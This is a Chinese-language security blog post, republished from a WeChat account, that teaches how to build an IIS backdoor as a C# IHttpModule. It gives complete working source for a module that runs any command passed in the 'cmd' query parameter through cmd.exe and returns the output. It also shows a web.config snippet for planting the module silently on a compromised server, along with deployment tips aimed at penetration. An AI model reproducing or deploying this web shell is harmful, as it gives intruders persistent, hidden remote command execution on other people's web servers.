使用C#开发IIS模块后门

admin 2021年7月12日18:43:14评论319 views字数 4875阅读16分15秒阅读模式

iis后门的两种形式

根据微软的文档[1],iis开发功能分为两种,分别是IIS moduleIIS handler,即IIS模块和IIS处理程序。

IIS模块是一个.NET类,该类实现ASP.NETSystem.Web.IHttpModule接口,并使用System.Web命名空间中的API参与一个或多个ASP.NET的请求处理阶段。

IIS处理程序也是一个类,该类实现ASP.NETSystem.Web.IHttpHandlerSystem.Web.IHttpAsyncHandler接口,并使用System.Web命名空间中的API为其支持的特定内容生成http响应。

IIS处理程序负责将请求提供给特定的url或特定扩展名,IIS模块则应用于基于任意规则的所有或某些请求。本文以IIS模块为例开发IIS后门实现从Cookie中获取cmd命令并执行。

开发环境

1.vs20192..net 2.0

使用.net2.0是为了向上兼容.net3.5/.net4的高版本环境。

开发

先创建一个C# .NET Framework项目

使用C#开发IIS模块后门
image.png

选用.net2.0的环境

使用C#开发IIS模块后门
image.png

添加System.Web.dll的引用

使用C#开发IIS模块后门
image.png

然后实现IHttpModule接口

using System;using System.Collections.Generic;using System.Text;using System.Web;
namespace IIS_BackDoor{ public class MyModule : IHttpModule { public void Dispose() { throw new NotImplementedException(); }
public void Init(HttpApplication context) { throw new NotImplementedException(); } }}

两个接口分别负责模块的两个生命周期

1.Init 模块初始化2.Dispose 请求销毁

Init()方法接受一个HttpApplication参数,此参数代表请求的上下文。其中HttpApplication中有一个订阅事件PreRequestHandlerExecute,该事件字面意思就是在请求之前进行处理。

值得一提的是HttpApplication还有很多别的事件

使用C#开发IIS模块后门
image.png

PreRequestHandlerExecute是一个事件,其类型为EventHandler。

public event EventHandler PreRequestHandlerExecute;

而EventHandler是定义的一个委托

public delegate void EventHandler(object sender, EventArgs e);

新建一个事件

using System;using System.Collections.Generic;using System.Text;using System.Web;
namespace IIS_BackDoor{ public class MyModule : IHttpModule { public void Dispose() { }
public void Init(HttpApplication context) { context.PreRequestHandlerExecute += new EventHandler(Context_PreRequestHandlerExecute); }
private void Context_PreRequestHandlerExecute(object sender, EventArgs e) { // do somthing } }}

通过new EventHandler()新建一个事件,我们新加事件时需要保证自己的方法和EventHandler方法签名一致。即传递object sender, EventArgs e两个参数,返回类型为void。

Context_PreRequestHandlerExecute中,我们想干什么就干什么。

private void Context_PreRequestHandlerExecute(object sender, EventArgs e){    HttpApplication app = (HttpApplication)sender;    HttpRequest request = app.Context.Request;    HttpResponse response = app.Context.Response;}

通过sender拿到HttpApplication上下文。有了request和response我们就可以拿到参数,执行命令拿到结果,然后写入response了。

接下来是示例。

using System;using System.Collections.Generic;using System.Diagnostics;using System.Text;using System.Web;
namespace IIS_BackDoor{ public class MyModule : IHttpModule { public void Dispose() { }
public void Init(HttpApplication context) { context.PreRequestHandlerExecute += new EventHandler(Context_PreRequestHandlerExecute); }
private void Context_PreRequestHandlerExecute(object sender, EventArgs e) { HttpApplication app = (HttpApplication)sender; HttpRequest request = app.Context.Request; HttpResponse response = app.Context.Response; try { string cmd = request.QueryString.Get("cmd"); Process proc = new Process(); proc.StartInfo.CreateNoWindow = true; proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardError = true; proc.StartInfo.RedirectStandardInput = true; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); proc.StandardInput.WriteLine(cmd); proc.StandardInput.WriteLine("exit"); string outStr = proc.StandardOutput.ReadToEnd(); proc.Close(); response.Clear(); response.BufferOutput = true; response.Write(outStr); response.End(); } catch (Exception err) { response.Write(err.Message); } } }}

从参数中获取cmd,然后写入resp。编译dll之后来部署dll。

部署后门

微软文档中[2]使用的图形化部署。

先添加模块

使用C#开发IIS模块后门
image.png

再添加模块映射关系。

使用C#开发IIS模块后门
image.png

而对渗透来说rdp过于拉跨,这里提供一种使用web.config部署的方法。在web.config中

<configuration>  <system.webServer>    <modules>      <add name="IIS_BackDoor" type="IIS_BackDoor.MyModule"/>    </modules>  </system.webServer><configuration>

可以将模块放入bin目录,然后编辑web.config加入system.webServer->modules节点,无需重启即可生效。

使用C#开发IIS模块后门
image.png

部署的时候需要注意,根据iis的运行模式不同,web.config的修改位置也不一样。

经典模式修改位置位于<httpModules></httpModules>标签内。集成模式修改位置位于<modules></modules>内。具体参考 IIS7中的“经典”和“集成”管道模式有什么区别?[3]

踩过的坑

1.部署后门前最好先上cs,不然网站崩了直接gg。2.虽然是net2.0编译的,但是写自己代码的时候可能会有一些api和高版本的不兼容。3.vs2019 anycpu编译的dll,根据iis的运行位数和系统位数不同还是可能会崩,具体部署时应该根据目标实际架构重新编译。

功能实现

iis后门不仅仅可以用来做runcmd的实现,一键注入内存shell、HttpListener端口复用、直接运行shellcode、powershell,都是很实用的功能。

这些功能就不放出来了,大伙自己改改。

参考

1.https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs2.使用.NET Framework开发IIS 7.0模块和处理程序[4]3.https://cloud.tencent.com/developer/article/15079134.IIS7中的“经典”和“集成”管道模式有什么区别?[5]5.CVE-2020-17144漏洞分析与武器化[6]

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。

References

[1] 根据微软的文档: https://docs.microsoft.com/en-us/iis/develop/runtime-extensibility/developing-iis-modules-and-handlers-with-the-net-framework#two-ways-to-extend-iis-module-vs-handler
[2] 微软文档中: https://docs.microsoft.com/en-us/iis/develop/runtime-extensibility/developing-iis-modules-and-handlers-with-the-net-framework#deploying-the-assembly-to-the-server
[3] IIS7中的“经典”和“集成”管道模式有什么区别?: https://my.oschina.net/u/3797416/blog/3159732
[4] 使用.NET Framework开发IIS 7.0模块和处理程序: https://docs.microsoft.com/en-us/iis/develop/runtime-extensibility/developing-iis-modules-and-handlers-with-the-net-framework
[5] IIS7中的“经典”和“集成”管道模式有什么区别?: https://my.oschina.net/u/3797416/blog/3159732
[6] CVE-2020-17144漏洞分析与武器化: https://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html


分享、点赞、看就是对我们的一种支持!

使用C#开发IIS模块后门


本文始发于微信公众号(ChaBug):使用C#开发IIS模块后门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月12日18:43:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用C#开发IIS模块后门http://cn-sec.com/archives/311426.html

发表评论

匿名网友 填写信息